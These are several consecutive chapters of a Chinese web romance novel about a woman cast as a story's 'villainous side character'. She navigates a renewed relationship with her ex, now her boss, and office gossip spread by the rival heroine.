不等他反应过来,那个创口贴轻轻贴在他鼻梁上,然后是消毒水的味道,肿起的脸颊被棉签一点一点擦去灰尘。
药店门口的塑胶带被风吹动,透出空调房的冷沁,仿佛短暂喝了一口烈阳里的冰镇柠檬水。
脸上火辣辣的疼,眼睛被太阳刺得睁不开眼,睫毛颤了颤,盯着她脸颊上细小的泛着光的茸毛,他在想,故事书里的救世主为什么总在世界马上要坍塌了的前一刻才出现。
“好了......”她将拆开的药盒一起丢进塑料袋,打了个结放在他腿上,“你要相信,不管发生什么,你的未来肯定都会是一片光明。”
他抬头去看她,阳光太刺眼,不适地眯起了眼睛,“为什么......”
他为什么要相信。
女孩笑容绚丽,“当然了,我从小就听说,能考上京一中的,都是人中龙凤,以后能上最好的大学,很厉害的,前途当然是一片光明,我也会努力考上京一中的!然后......考上大学,努力赚钱!”
她笑着看向他,“说不定明年你就是我学长了。”
“哦,这个你不相信的话,那我还有另一个理由。”她笑着将最后一个创口贴贴在他手背。
“大家都会死的,你为什么不能当活得最久的?等那些欺负你的人都死掉了,你还好好活在这个世界,能享受阳光呼吸空气,还能带着烧烤啤酒去他们坟前炫耀,不爽吗?”
“......”
他盯着腿上的白色塑料袋,喉咙干涩沙哑,“谢谢了......”
他起身要离开,被抓住了衣服一角,“那个......”
声音从后方传来,“虽然还不确定你经历了什么,但是......能活就活吧,说不定你的下个阶段是幸福人生。”
她从口袋摸出一个粉色纸壳的糖,“这个给......”
她的话被另一道声音打断,药店对面站着一个身量高挑的男生,正在喊她,“鹿鹿你怎么在那呢,快点过来,要赶不上时间了。”
“哦好。”她迅速把糖塞到他手里,往斑马线走了两步,回头看他,“明年京一中见,学长。”
他看着她跟着另一个人进了地铁站,掌心的糖像是要被太阳晒融化了,捏起来是柔软的。
他拆开糖果纸,看着里面白色的糖果,递进了嘴里。
味道.....好一般。
绿灯亮起,他穿梭在人群里。
脚步突然停顿,硬挺的糖果外壳融化后,里面流出甜甜的水蜜桃味流心,充斥着口腔。
他偏头看向人来人往的地铁口。
救世主来得晚不可怕,可怕的是,她出现的短暂。
明年,京一中见。
第三十九章 这分明是警告
第二年,从新生高一入学第一天起,一到下课他就跑去高一区域的教学楼,一个个班级看。
没有再见过那张脸。
明年见是假的。
但他依旧感激她,每次回到家应付冯敬国时就会想起她。
无论如何用什么手段都要活下去。
世界这么大,他以为两人应该不会再见面。
大二,同门朋友邀请他吃饭,向他介绍了江迟鹿。
第一眼他就认出了她,她像见陌生人一样打招呼,介绍自己的名字,专业,脸上始终保持着完美的微笑。
他也装作两人不认识。
连续好几次跟朋友吃饭,都有她在场,他想当然的以为两人在暧昧期。
每次她找他聊天,他几句话就结束话题,拒绝深交。
他以为自己对她没什么想法的。
事情也已经过去那么久了,该翻篇了。
但是每次朋友邀请他吃饭,知道她会在,就忍不住想去。
她每次和他说的话,哪怕一两句,他也会反复的想起,想起她说话时弯弯的眉眼、可爱的语调。
听到她在饭桌上聊起游戏,散场后迫不及待地就去了解。
重逢,是惊喜,也是痛苦。
不知道多少次下定决心要放下,删掉手机相册集里保存的她发在社媒的照片,取消掉关注。
做完这些,刚开始会觉得如释重负,开心地想她也并不重要,还是能消失在自己的世界。
但维持不了几天,又会像个傻子一样疯狂地把删掉的照片找回来。
后面才知道,江迟鹿喜欢他,让他朋友帮忙撮合。
“第一感觉......很茫然,惊讶,不敢相信。”
他看着对面的祁柏言,“然后是开心。”
祁柏言抬眼,“恭喜你啊,这么幸运。”
“幸运......”
清吧里光调昏黄,歌手轻缓的嗓音唱着一首情歌。
一身白衬的男人垂着脖颈,宽肩绷着衬衣,落下的黄色调光线衬托出低靡的美感,修长的指尖攥紧透明玻璃杯,瞳孔盯着里面微微荡漾的液体。
他缓缓吐出一口气,声音低哑,“是挺幸运。”
从她出现那一刻,是他人生幸运的开始。
“祁组长,你为什么分手。”他抵着杯子跟他轻碰了下,发出清脆的声音,在孤寂的夜里格外伶仃。
“因为.....本来就是一场不该出现的恋爱,是我求来的。”
“我和她本来是朋友,跟家人一样重要的朋友,互相陪伴了彼此的低谷,也参与了彼此的开心、成长,因为太重要,所以太害怕失去,连表白都掺了假,我骗她说是和朋友玩游戏输了,需要她配合我当我一个月的女朋友。通过那一个月我才明白,她对我没有一点男女情愫。”
他嘴角勾起一个弧度,笑声低沉,“准确来说,是一场施舍。怎么样?这样听来,你是不是觉得好受多了。”
对面的人摇头,“好受?就因为别人更惨?那这世界上总有更惨的。”
仰头猛灌了一口酒,他微眯着眼,盯着眼前毫不知情的人,“傅总,我真羡慕你。”
不管结局怎么样,至少他得到的是真的。
“羡慕我?”他握着酒杯又倒满了一杯,“是啊,自从我回到傅家,大家都在羡慕我。”
在别人眼里,他已经是人生赢家了。
祁柏言知道他误会了自己的话,低着头也不解释,推了杯子过去,“我要半杯,谢谢。”
瓶口倒转向他的玻璃杯,那声音不疾不徐地问,“祁组长现在还喜欢你的前女友?”
“哗哗.....”倒了半杯,他停手,将酒杯推过去。
听到对面一声“嗯”,心底半松了口气。
至少两人没有到互相喜欢的程度。
“那你呢?”祁柏言盯着杯口,指尖沿着弧形慢慢滑过,垂着眼,“你还喜欢她吗?”
“.......我不喜欢背叛我的人。”他语气平缓,偏头看向落地窗外的繁华夜景,玻璃上他的身形融合进朦胧华丽的光影,显得冷矜又孤寂。
“呵。”祁柏言转着酒杯,低头笑了一下,“傅总,希望你能坚持你的原则。”
“你也守好自己,心里还有人,就保持分寸,我不想我的下属因为感情问题耽误工作。”他抬起酒杯,前推了一下,一口饮下。
祁柏言颇有玩味地扫他一眼,默不作声敛下眼睫。
他可不信这是关心下属。
这分明是警告。
第四十章 “你.....没跟他说我名字?”
回到京市第二天,江迟鹿趁着休假搬到了公司安排的员工公寓。
“这间就是你的房间了。”小麦推开卧室门,“有单独的卫生间,外面的客厅厨房阳台是公共区域,出门右转有健身区,每周有两次免费保洁。我等会儿把维修工的电话给你,有家电需要维修的话你直接打电话过去报房号就行。”
房间主色调是米白的暖色,风格简单干净。
她点了点头,“我知道了,谢谢,中午请你吃饭,哦你有空吗?”
小麦站在她面前,从头比划自己,“你看我这大上午还穿着睡衣头也没梳的样子像是有约?”
她刚扬起一个笑,小麦抬了下手,“不过请我吃饭就不用了。”
她还没反应,小麦又凑上前,露出标准的笑容,“上次不是说了我请你吃饭吗,你能来住可是帮了我一个忙,我听说苏轻和财务部的小宋一个宿舍,小宋昨晚还给我发消息说不知道该怎么和大小姐相处呢。”
她绕开了苏轻的话题,笑着说,“你不是说请我吃烧烤吗,午饭我请,晚上你请烧烤?”
“好啊,不过你居然吃夜宵?哇你这么瘦,是吃不胖体质?”小麦羡慕的看着她。
江迟鹿捂着胸口,很痛心,“我也很想拥有这种体质,可惜我不是。偶尔吃个夜宵没事啦。”
想到吃不胖体质,她脑子里冒出了一段剧情。
设定里,只有女主苏轻是这样的体质。
而她这个恶毒女配嘛,则是需要节食,外加催吐才能维持身材,还在众人面前扮演怎么吃都不胖,美得轻轻松松的松弛美女。
在公司聚会上,她包里的催吐药不小心掉落,被所有人看到,松弛美女人设被拆穿,重新贴上了做作虚伪的标签,同事之间连表面关系都维持不了,成了他们的饭后茶点。
衬托出女主率真的美好品格就是这段剧情的意义。
呼......她这人设槽点还真多。
在北城的剧情,因为她的掺和让蒋院长活了下来,没有按照原来的剧情走,那一晚傅靳年没有和苏轻在玉兰树下浪漫拥吻。
距离那天已经过去了两天,她也没有受到任何破坏剧情的处罚。
这说明剧情是可以改变的。
并且改变剧情的那个人也不会受到惩罚。
所以,只要她不去和女主抢男人,她的悲惨结局也是可以改变的。
刚下定决心,手机铃声响了。
备注——棠棠。
“嘶.......”
终于想起来在北城答应了傅今棠和傅靳年一起吃一顿饭。
盯着手机屏幕,铃声响了好一会儿,她笑着向小麦点了一下头,去了外面阳台接电话。
“明天晚上六点,准时到,地址发给你了。”对面声音严肃雷厉风行。
显然没给一点可耍赖的机会。
她深吸了一口气,垂下肩膀,“好,我知道了。”
第二天。
江迟鹿在晚上六点准时到达饭店。
傅今棠订了一个包间,不知道她是为了什么氛围,还专门订了一个小包间,明明平时为了彰显自己的身份出入任何餐厅饭店都只订顶级的大包间。
“怎么只有你?”她将手中的包递给服务员,看包间里只坐着傅今棠一个人松了一口气。
“他马上就到,还在路上。”
江迟鹿走过去,看到她手机里的新闻,“你在看什么。”
“啊,北城博物院事件啊,好像是得到澄清了,对了,你让我帮你找记者是为了什么啊?”
她话音落完,江迟鹿若无其事开口:“一件小事。”
她立刻转移话题,“这博物院事件闹得真大啊。”
傅今棠点头,“听说是我哥手底下一个小员工的功劳,你说我要不要想个办法把那个小员工挖过来?”
“......一个小员工而已,说不定就是走幸而已,你手底下能人那么多,干嘛捡小垃圾。”
她心里祈祷,可千万不能让傅今棠发现那个小垃圾就是自己。
要是被发现了,她估计更想利用职位之便让自己当她大嫂了。
“也是。”她不甚在意,看了一眼手表。
恶狠狠咬牙,“怎么还没来,堵车吗。”
“呵呵。”她拉开椅子坐下,“估计是不想来,你怎么跟他说的?”
“我没说要跟你吃饭,我就说爷爷让我们一起吃饭,给他庆祝北城之旅完美结束。”她晃了晃双手,展示新美甲。
冷哼了一声,“他要是知道是跟你见面,绝对不会答应,我说你长得很漂亮,他还说我眼瞎,呵呵。”
“眼瞎?呵。”指尖捏了一下,她抿着下唇,“他故意这么说的吧......都这样了,你还让我俩吃饭?等会打起来。”
这男人真可恨,讨厌她也就算了,夸她一句漂亮还被说成眼瞎......
“他那是因为没看过你照片!等他今天见了你真人,被你的脸闪瞎就会知道说出眼瞎两个字的他才是真的眼瞎!”
江迟鹿呆了一下,抬眼,“你.....没跟他说我名字?”
她还以为傅靳年已经知道傅今棠的朋友就是她。
“啊?名字.....想不起来说没说了,我应该说了吧,你们又不认识,说了名字也没什么用啊,我给他照片他都不看诶。”
“啪”的一声,江迟鹿紧紧握着她的手,“很好,棠棠,千万不要先跟他说我的名字。”
“为什么?”
“因为......”
脑子八倍速地转着,被一道闪电击中,她眼神坚定,“我的名字对他来说是禁忌!当初我参加的创新电子研发比赛里就有他,我们俩刚好被匹配到一组,但是你也知道我当时因为家里的事翘了那个比赛,我听组内的人说他当时可生气了,江迟鹿三个字在他那等同于黑名单的仇人。”
“还有这事吗?”她捂着嘴,“你们还挺有缘分的,那还是先不提你的名字了,让他先看到你这张脸,心脏一击而中.......”
“......”江迟鹿捂着耳朵,不想听她的话。
第四十一章 分手了?
耳膜感觉要被傅今棠的声音磨出茧子了。
她起身,“我去趟洗手间。”
出了房间,打着哈欠揉着耳朵往廊道走。
眨了下眼,吓得愣是顿在原地。
对面,他穿着面对面对视上。
“你在这做什么?”他抬步朝她走去,盯着她不放。
她轻咳了一声,扯了下衣角,白色的卫衣褶皱绷紧,她的嗓音也绷紧,“来饭店除了吃饭还能干什么。”
“你很紧张?”他歪了下头,垂下眼帘,盯着她刚拽过衣角的手。
那只手很快垂下放松,但动作很刻意,笑声也刻意,“突然在饭店看到上司谁都会紧张吧,祝你用餐愉快,再见。”
她说完,要赶紧走人,刚擦肩往外走了一步。
手腕被捉住,身体也顺势往他身上歪斜,在她另一只手抵住他胳膊才停下来。
她惊讶抬头,“差点撞上了,你做什么?”
“回来那天晚上,你在等......谁?”他手上力度一点没松。
江迟鹿回忆起,他说的是在北城最后的那一晚,他和祁柏言从外面回来的时候两人撞见了。
她什么也没说回了自己的房间。
“我没等谁,就是屋里太闷了,我出去呼吸一下新鲜空气。”
“呼吸新鲜空气,开窗不就好了?”
“......我就想出去走走。”她抬手挣脱掉他的桎梏,“我朋友还在等我,我先过去了。”
傅靳年看着她往外走,手机震动了一下,他低头一看。
是傅今棠发来的消息。
-你到底什么时候倒啊?你作为领导这么不守时的吗?
他抬眼,看了一眼江迟鹿的背脊,追了过去,边走边回了一条消息。
-有事,你吃吧。
对面发来一个问号。
傅靳年:
-我们关系应该没有好到需要一起吃饭的地步。
“江迟鹿。”他喊了一声。
前面的人垂着头,脚步停了一下,又继续往前走。
“再走都出去了,你不是跟你朋友来这里吃饭吗?”
江迟鹿头也不回,“我跟我朋友已经吃完了。”
“哪个朋友?祁组长?”
江迟鹿回头,“你跟着我做什么,你来饭店不是吃饭吗?你不吃饭了?”
“你跟祁组长来的?”
两人各问各的,谁也不回谁。
江迟鹿默默翻了个小白眼,转头要走。
傅靳年开口:“你带回来的酥饼还有吗。”
她回头,“我又不是无敌大胃王,当然还有。”
“我那天没买,卖我一些。”
“哇,强买强卖。”
“价格你说。”
“你要多少?”
他笑了一下,往前迈了一步,“你不是要回去?我送你,正好拿酥饼。”
她心里一梗,怀疑傅靳年是故意的,但找不到证据。
直到上了傅靳年的车,手机收到傅今棠的消息才想起来自己今天的主要目的。
算了,坑姐妹一把吧。
“你住的员工宿舍?”傅靳年看着面前的小区,“你不是跟男朋友住吗?”
江迟鹿顿了一下,“之前是没地方住才住男朋友那里,我现在有地方住了,当然就搬出来了。”
“分手了?”他余光瞥向了副驾驶。
“......”她斜了一眼过去,“都说了是单纯搬到宿舍,动不动就分手,我没那么喜欢分手好吗。”
第四十二章 是你男朋友?
空气沉默了有一会儿,傅靳年喉咙溢出一声轻笑,“是吗......”
这两个字怎么听都带点私人色彩。
在停车场下车,江迟鹿看傅靳年也下了车,立即开口:“你在这里等我就行,我拿下来。”
“为什么要拿下来,你也不知道我要多少。”
“拜托,你什么身份?我什么身份?你要是上去,被其他员工看到怎么办?难道你要公司传我们的绯闻吗。”
他耸肩,“我女朋友不会介意。”
江迟鹿微张唇瓣,呵了一声,“你真开放,可我不是那种人。”
她抱了一下自己胸口,手指他,“你在这等我。我全部拿下来,你想要多少要多少。”
他点头,不否认。
江迟鹿跑去了电梯上楼,进了自己的房间,拿上那一袋酥饼,还另外拿了一个新的袋子,心里盘算要敲诈他多少钱。
刚一打开门,傅靳年就站在门口。
他今天穿的休闲装,黑色的半高领毛衣,深灰色的毛呢大衣,身形高大修长,站在门口像一堵墙。
“我不是让你在下面等我吗,你怎么上来了?”江迟鹿赶紧走过去“你上来没被人看见吧?”
见傅靳年摇头,她才松了口气,把酥饼放在桌上,另一个袋子敞开,“你要多少,过来拎一下袋子。”
傅靳年走进去,掩上门。
“你舍得给我多少?”他问。
“那得看多少钱了。”江迟鹿眯眼笑了笑,“虽然这本来不值多少钱,但是你也知道,这京市买不到的,说明这是独家限量的,并且我又十分喜爱,价格....”
她伸手,比出食指。
傅靳年:“十块钱一个?”
他扫了一眼,她进价三块钱一斤,一斤大概十个,这个价格可以说是黑心商家。
“行。”
“谁跟你说行了,我这是十块吗?”江迟鹿十根手指头全部伸出来,“是一百!”
“抢劫的是不是见了你也叫大哥?”他扯了下唇角。
“那你不买?”江迟鹿把袋子系上,“不买算了我自己吃。”
傅靳年拿出手机,“给我十个,转账给你。”
江迟鹿微笑:“顾客你好。”
“鹿鹿?你回来了?”外面走廊突然响起小麦的声音。
江迟鹿心脏倏地一下停止跳动。
争分夺秒扯着傅靳年往自己房间塞,砰的一声关上房门。
下一秒虚掩着的门就被推开了,小麦笑着走进来,“啊,真是你啊,我就说屋里怎么开着灯,不过你不是说晚上跟人出去吃吗?这么快?”
她提着手里打包的吃食放在桌上,看到了旁边的酥饼,“嗯?你怎么分两个袋子装?”
“咳咳,给我朋友带一些。”
“哦.....嗯?这个手机是谁的啊?”她蹲下捡起地上的黑色手机壳手机。
江迟鹿眼睛一瞪。
是傅靳年刚才拿出来转账,被她扯着手往房间塞的时候落下的。
“是我朋友的,她刚刚送我上来,不小心落下了,我等会儿给她送过去。”她从小麦手里接过手机。
小麦凑到她耳边,“是你男朋友?”
“不是,女性普通朋友。”
“哦......对了,修理师傅马上到了,你浴室的热水器偶尔不灵,我帮你叫了师傅来修,所以才打包了吃的回来,早知道你回来我就不用回来了。”
“啊。”她看了一眼自己的房间,“现在?”
小麦扫了一眼手机,“对啊。”
话刚落,门外响起修理师傅的敲门声。
第四十三章 关于前女友的传闻
小麦起身去开门,江迟鹿赶紧推开自己的房门,房间里空空的,她赶脚开了浴室门,里面还是空的。
不知道人躲哪去了。
她左右环顾,小麦已经带着修理师傅进来,给师傅指地方,“师傅,就浴室里面的热水器。”
江迟鹿站在门口,扫了一眼床底下。
不是床底下就是衣柜,这里也没什么地方能藏。
“迟鹿,你不是要给朋友送手机吗,你去吧,这里我看着就好。”小麦笑着对她说。
“......我不着急,不麻烦你了,我看着就好。”她僵硬的扯着唇角,笑不出来。
小麦还以为她是在客套,挥了挥手,“没事的,不麻烦,我也没什么事情做,我在外面坐着玩手机就行了,你去送手机吧,你朋友估计要着急了。”
“.....好,那师傅修好了你跟我说一声。”江迟鹿说完,正要往外面走去。
还没出门,“砰”的一声。
“啊。”小麦被吓了一跳,缩着肩膀看向衣柜,“什么声音啊?不会有老鼠吧。”
她拿起旁边的扫把走向衣柜。
江迟鹿冲刺过去拦住,“我来我来。”
小麦奇怪她激动的反应,“你不怕老鼠吗?”
她盯着衣柜,呼吸都缓了缓,咬着下唇内侧,“我不怕。”
站在衣柜前,她小心拉开衣柜,只拉开了一个缝隙,和里面抱着自己膝盖缩在角落的傅靳年对上眼神。
额头顿时渗出了一层细汗。
耳后传来小麦的声音,“你拉开那么点缝隙怎么看得清楚,我拿手电筒给你照。”
江迟鹿顿时感觉头皮发麻,嗓音咳了一声,“不用,我看得清,好像也没有什么老鼠,是浴室传出来的声音吧?”
在小麦凑上来前,她关上了衣柜。
小麦不解:“我听到是衣柜里面的声音,怎么会是浴室,你仔细检查一下,万一真有老鼠得赶紧处理了。”
她拉开江迟鹿:“做事不能这么敷衍啊,这可不是小事,万一你的衣服上面都染上病菌就完蛋了。”
江迟鹿被她从衣柜前拉开,另一只手直接开了衣柜。
在打开的那一瞬间,江迟鹿扑了上去。
将衣柜里的男人抱进了自己怀里。
“啊!”小麦的尖叫声穿透一整个空间。
“这,这里怎么会有个人?谁啊这是?”
江迟鹿死死压着傅靳年的头,不让他露出脸来,“对不起小麦,我等会跟你解释......”
她抱着傅靳年的头往外走,不用细看,一眼就会被那双无处安放的长腿吸引。
她压着人,本来就比她高出不少的人双腿几乎要跪在地上,手抓着她肩膀。
小麦摸着自己受到惊吓的心脏,眼珠子瞪着江迟鹿把人拖着往外走的背影。
这个身形......怎么有种熟悉的感觉。
虽然人也没站直,但是能看到肩宽腿长的,手指修长,还戴着百达翡丽的表......
“傅,傅总?”她抖着小颤音开口喊了一声。
那边,已经走到门口的两人都瞬间石化。
小麦小跑过去,“你....你们......”
江迟鹿深吸一口气,松开人,看向小麦,“不是你想的那样。”
傅靳年扯了下领口整理衣服,站直了身体,偏头无法直视自己的员工。
“傅总为什么会在这啊?”小麦眼珠子在两人之间转动,抬手指了指里面,“还......在衣柜里。”
这真的很难不多想。
“我来解释!”江迟鹿抬起双手挡在傅靳年前面,向小麦解释,“是这样的,我不是和傅总一起去北城出差了吗,我买了北城的特产酥饼,傅总特别喜欢吃,他刚好路过这边,就给我发消息问我能不能买一些。”
她抬手指了指桌上的酥饼,“我正在分,你刚好就回来了,他不想让人看到他为了一个饼专门跑到员工宿舍来,情急之下躲了起来。”
快速不断句的解释完,江迟鹿深吸了一口气,“就是这样,我担心你误会,所以才着急想把他拉出去,没想到......你还是认出来了。”
小麦眼珠子左转转右转转,在两人之间反复流转,“原来是这样吗?”
“是的,就是这样。”
江迟鹿深吸了一口气,看向傅靳,“傅总您放心,我和小麦嘴都很严实的,不会把你今天来要酥饼的事情说出去的!你不用担心。”
她看向小麦,“是吧小麦?”
小麦呆愣在旁边,发愣似的点了点头,“是,我肯定不会说您今天躲在江迟鹿衣柜的事情,请您放心。”
傅靳年:“......”
江迟鹿抓了几个饼放进干净的塑料袋里塞给傅靳年,“傅总,你可以走了。”
她推着他往外,关上门。
转头看向小麦,“没事,都是小事。”
说完她干笑了两下。
小麦眯着眼盯着她看,“我怎么觉得事情这么奇怪,傅总这么喜欢吃的话,在北城的时候怎么不自己买。”
江迟鹿:“当时他不在。”
“那.....他是怎么知道你买了的。”
“因为......我顺嘴提了一句,在他面前接电话的时候,所以他就知道了。”
小麦摸了下自己的鼻子,“这样啊,我刚刚差点以为傅总是你男朋友呢。”
“哈哈怎么可能,你想多了,我要是有这么个多金又帅的男朋友早就拿出来炫耀了。”
她摸了一把额头的冷汗。
小麦笑着看向她,开口道:“你还不知道吧?公司有传闻,说是傅总好像还真有一个甩了他的前女友,因为当初傅总还没被傅家找回来,还很穷,就被甩了。”
江迟鹿眼睫颤了颤,“这是从哪听说的?太不靠谱了吧。”
“具体从哪出来的我也不知道,好像就是突然有一天就在传这件事了。你平时别光认真工作啊,多关注一下我们员工八卦群,你是不是完全屏蔽群消息了。”
江迟鹿拧着眉,这件事按理说只有她和傅靳年知道。
如果要说还有谁知道,那就是偷窥她社媒的苏轻了。
她从口袋里拿出手机,“我现在就看看,你们聊了些什么。”
里面未读消息盖了几百层楼,江迟鹿直接点进搜索聊天记录,输入关键词前女友。
找到了最开始聊起傅靳年前女友的人——财务部小宋。
她皱眉,看向小麦,“我记得你好像跟我说过,和苏轻一个宿舍的是财务部小宋,是吗?”
小麦点头,“对啊,怎么了吗?我听说小宋和那位大小姐相处得还挺好的呢。”
江迟鹿眉头皱得更紧了。
这件事如果是苏轻故意让人传出去的,那她有什么目的?
第四十四章 你只留情不负责。
“咳咳。”小麦凑到江迟鹿旁边,“那个,你和傅总......”
“刚刚不是说了吗,什么都没有,别提了,休假日提上司你很恐怖你知道吗。”江迟鹿搓了搓自己身上的鸡皮疙瘩。
小麦笑了笑,开口道:“难道你真的没想过和傅总有些什么吗嘿嘿。”
她抱着江迟鹿的胳膊,“傅总长得又帅,身材又好,能力还强.......”
“停,我去看看修理师傅,修好了热水器再让他帮忙修一下你的脑子。”
“......哼!”小麦拉开椅子坐下,“反正你要是真的有什么想法,我也是支持你。”
“你和苏轻有仇啊?”她瞥了一眼过去。
小麦冷哼了一声,“没仇,就是不喜欢她,她好好一个大小姐,非要为了男人来启恒,你知道吗,启恒的招录人数是有限的,就算她不是面试招聘进来的,也代表下一次招聘的时候会少一个录取人数。”
江迟鹿划着手机,“这样吗。”
她知道的剧情里,女主苏轻虽然进了男主手下的公司,但是从来不耍大小姐脾气,住员工宿舍,吃食堂,和其他员工相处得很好。
看来剧情都是只说对女主有利的一面。
她看向小麦,“这话你最好憋在肚子里。”
“修好了。”修理工师傅从江迟鹿房间走出来,“你试试。”
“好,谢谢。”
江迟鹿和小麦都走了进去,没看到修理工师傅盯着两人的背影眼神若有所思,拿起手机发出一条消息。
-傅总刚刚在江迟鹿这。
-知道了。
另一边,苏轻盯着手机,攥着手机指甲泛起冷白。
心里的嫉妒像潮水一样涌上来。
唇瓣紧紧咬在一起。
他果然还对江迟鹿有余情。
他为什么就是看不到自己呢。
她起身,打开柜子,从中拿出一个白色的药瓶,眼神阴鸷。
......
晚上,江迟鹿躺在床上正要进入睡眠。
手机响了一声。
她拿起来一看,是傅靳年发来的转账。
是酥饼的钱。
她没客气地收下了。
对面发来一句:
-你室友怎么说。
-您放心,没怀疑。
-呵,您在骗人方面颇有心得。
-哈,您在阴阳人方面也不赖。
江迟鹿关掉手机,开了静音,倒头睡觉。
以深棕色、复古色为主的书房内,落地窗外霓虹景观华丽斑斓。
盯着手机的傅靳年从微信界面切换到相册。
屏幕上,是江迟鹿抱着一只橘猫对着镜头笑的照片。
“以后,你是小橘的爸爸,我是小橘的妈妈。”她抱着猫,声音温柔。
那时已经十二月,天气很冷,两人在下雨的一个晚上遇到的那只小猫,他牵着她的手刚从图书馆出来。
小橘躲到他们脚边,江迟鹿笑了起来,“好聪明的猫,还知道躲伞下面呢。”
她翻出一根鳕鱼肠撕开喂猫。
傅靳年打着伞,站在她身边,看着她。
“都淋湿了,它在发抖。”她抬起脑袋,眼睛眨啊眨。
傅靳年一看就知道她是什么心思,“不行。”
“我又没说要养,带回去吹干,收留一晚,再送回来,不然它冻死了怎么办。”
她勾住他的手指晃动,“好不好嘛,你就看在它跟我一样可爱的份上,嗯?”
在他的强烈反对下,那只猫跟着他们回家了。
紧挨着学校一条街的小区,一室一厅的房子,家里布置得干净温馨,暖色调为主。
家里很小,进去就是沙发,上面摆放着江迟鹿喜欢的兔子玩偶,沙发旁边的落地灯也是她选的。
怕小猫乱跑把家里弄脏,她直接抱进了浴室,开始兴致勃勃地给猫洗澡,洗了一半就累了,耍赖让他洗。
等他洗好抱着猫出去,作俑者躺在沙发上呼呼大睡。
-你还记得小橘吗?
消息发过去,等了五分钟没有回复,他抿着唇角打字。
-你只留情不负责。
发过去又过了五分钟,依旧没有回复。
他指腹往上滑手机,重复了几次动作,垂下的目光灼灼。
看着毫无动静的屏幕,嘴角越发往下。
拿起手边的烟盒,指尖从中抽出一根,滑着打火机点烟时,目光仍旧放在手机上。
火光映上优越的眉骨,眼窝更加深邃,偏薄的唇叼着烟抽了一口,手指夹着烟挪开,生怕错失消息。
墙壁的挂钟发出嘀嗒的细微声音,他格外有耐心的等待。
一根烟独自燃尽,没有任何动静。
他掐着烟蒂掷进玻璃缸,胸口烦闷,“不理人......呵。”
铺着复古花色地毯卧室里,傅今棠盘腿坐在上面,抱着一个软枕,眯眼看着平板。
柜子上的手机突然响了一下。
那不是她的手机,她先是往浴室扫了一眼。
浴室的暖光透过玻璃门映出暖黄色,里面的哗哗水声也传出来一些。
她才又扫向柜子上的手机。
屏幕上显示一个备注被甩男的消息弹出来。
-老地方见。
眉尖皱起,她在脑子里搜索了一番,没找到周衍身边有哪个被甩男。
浴室门推开。
她倏地低下头若无其事看着平板。
周衍围着浴巾从浴室出来,看到她埋着头,一束顶光照在她身上,轮廓像是镀了层光。
他走过去,“手机递给我。”
傅今棠抬头,看到他精壮的腹肌,上面还有没擦干净的水珠,沿着小腹清晰的人鱼线滑进浴巾中。
她面无表情把手机递给他。
周衍拿着手机,却不动,反倒是盯着她。
傅今棠:“......干嘛?”
“你又做了什么坏事?”他眼睛眯了一下,将她上下打量。
一声冷笑,她抬眼瞪过去,“我能做什么?你有被害妄想症吧,我坐在这而已。”
周衍轻呵,“你要是不心虚,我让你递手机的时候你就会说——自己没手吗?你是断臂了吗?”
他盘腿坐在她对面,手靠在旁边的床沿,笑着开口:“这么乖,不是对我做坏事了,就是有求于我。”
傅今棠:“......没有。”
他发出一声笑,打开手机,看到傅靳年发来的消息,拉长音调哦了一声,“偷看我手机啊。”
“没有。”她关掉平板果断起身,“我要睡了。”
周衍没再盘问她,皱着眉回消息。
-少爷,大晚上的你又怎么了。
床上躺着的人突然扯下被子问他,“你知道傅靳年之前有个女朋友的事情吗?我听人说好像还是那个女的嫌贫爱富提的分手。”
第四十五章 “谁说我还爱她的。”
周衍指尖一顿,慢悠悠回:“我跟他关系没好到能知道这种私事。”
“呵呵,当初骗我的人是谁?你和他一起在国外留学,早就知道他是我爷爷安排出国的吧?要是你早点告诉我,在他还没回国我就处理了,哪用得着现在这么麻烦。”
“我都说了,我没骗你,我又不知道。”他拿着手机起身往衣帽间走去,“我出去一趟。”
“帮我打听傅靳年前女友。”床上传来她冷傲的说话声。
他回头看去,脸上神情揶揄,“你觉得就他那性格,我真打听了他能说?”
“你就不能想办法吗,他喝醉了也问不出?你帮我这个忙,江北区那块地皮我让给你。”
她语气淡然,周衍一下气笑,起了玩儿性,“好啊。”
进了衣帽间换了身衣装,一下子又成了那个风流倜傥的周公子。
站在门口,他看向床上拢起的一团,开口问:“要不要给你带个夜宵什么的,这个免费赠送。”
“减肥不吃。”
周衍耸肩,转身离开。
进入蓝心会所,包间里傅靳年身形陷入沙发,头颅往后仰,眉头有些皱着,看着一副颓靡的样。
周衍潇洒地走过去,嘴角带笑,“江迟鹿还真是克你啊,好像她一出现你就跟解锁被动了一样,之前约你喝酒都约不出来,现在居然主动约我。”
傅靳年睁眼,“怎么,你很忙?”
“忙倒是不忙。”他随手将车钥匙扔在桌上,坐在沙发给自己倒了一杯酒,“不过我是带着任务来的。”
“什么任务?”
“傅今棠让我打听你前女友。”他皱着眉喝了一口酒,有些不解,“你前女友的消息是怎么传出去的?”
“我们公司来了个新人。”傅靳年垂着眼,盯着酒杯里晃动的液体,“是之前给我下药的那个。”
“这你还留着?”
“老爷子那边吩咐的。”他抬眼看向周衍,“不要透漏她。”
“你把我当什么了,我没说,只是有些可惜了,你妹妹可是承诺让给我一块地皮呢。”
周衍轻笑,“她突然这么大方,我还有些不习惯。”
他拿起插在冰块里的酒瓶,给自己倒了满满一杯,“你不是单纯叫我来喝酒吧?哪又惹到你了?”
空气一下沉默了。
他弓着背,两边手肘撑在膝上,手上那杯酒放在桌上,很有情绪地咬着牙,声音迟缓,“她怎么敢不回我消息。”
“有恃无恐。”他摇了摇头,“你真是完了。”
“完了?”
傅靳年冷淬的一双眼睛盯着他,蓄势待发的毒蛇一样。
周衍咳了咳嗓子,“可不是我说的,是你自己的行为表现出来的,你不觉得你现在已经因为江迟鹿变得很古怪了吗,刚开始是谁说的已经把人忘记了,但是一看到人就想把人家调到自己手底下工作,还专点她一起出差,为了她打架,现在就因为不回你消息就闷得出来喝酒。”
他瞥过去一眼,喉咙一笑,“你这不是完了是什么。”
他的目光有一瞬间的迷茫,然后摇头,“不是。”
“你别跟我说你做了这么多只是要把当初她对你做报复回去,那么我请问,你报复什么了?她受到什么伤害了?反倒是你,疑神疑鬼的,还调查人家男朋友。”
周衍想到他调查江迟鹿男朋友未果的事,皱眉道:
“看来她新交的男朋友有点实力啊,你居然调查不出来,是什么背景?这么厉害......别不是当官的吧。”
他吸了口气,“我劝你还是别去调查了,这种查不出来的,多半是不能查的。”
他拍了拍傅靳年的肩膀,“你要是完全接受傅家了那倒无所谓,可你现在不是还在历练吗,总部那边随时盯着你要揪你的小辫子呢。”
